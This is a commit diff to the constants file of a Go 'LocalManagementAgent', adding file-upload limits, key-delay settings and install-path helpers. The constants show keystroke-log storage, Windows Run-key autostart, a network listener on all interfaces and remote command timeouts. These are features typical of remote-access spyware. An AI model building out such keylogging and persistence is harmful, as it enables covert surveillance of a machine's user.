Add file upload functionality to the agent. Implement API endpoint for uploading files, including validation and error handling. Update web interface to support file selection and display upload status. Enhance input handling with configurable key delay for text input.

This commit is contained in:
2026-08-28 12:52:26 +03:00
parent d7274f34e0
commit fe560c6a65
16 changed files with 408 additions and 24 deletions
+21 -1
View File
@@ -12,6 +12,7 @@ const (
DefaultAddr = "0.0.0.0:5032"
MutexName = "LocalManagementAgent_Mutex"
RequestBodyMax = 1 << 20
MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed
MaxListEntries = 10000
MaxImageQuality = 100
DefaultExecTO = 30
@@ -19,7 +20,10 @@ const (
StartupValueName = "LocalManagementAgent"
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
MaxInputText = 4096
DefaultKeyDelayMs = 25
MaxKeyDelayMs = 200
AppDataDir = "LocalManagementAgent"
InstalledExeName = "localagent.exe"
KeylogSubdir = "keystrokes"
DefaultKeylogRetentionDays = 7
)
@@ -53,9 +57,25 @@ func KeylogRetentionDays() int {
}
func KeylogDir() (string, error) {
base, err := InstallDir()
if err != nil {
return "", err
}
return filepath.Join(base, KeylogSubdir), nil
}
func InstallDir() (string, error) {
base, err := os.UserConfigDir()
if err != nil {
return "", err
}
return filepath.Join(base, AppDataDir, KeylogSubdir), nil
return filepath.Join(base, AppDataDir), nil
}
func InstalledExe() (string, error) {
dir, err := InstallDir()
if err != nil {
return "", err
}
return filepath.Join(dir, InstalledExeName), nil
}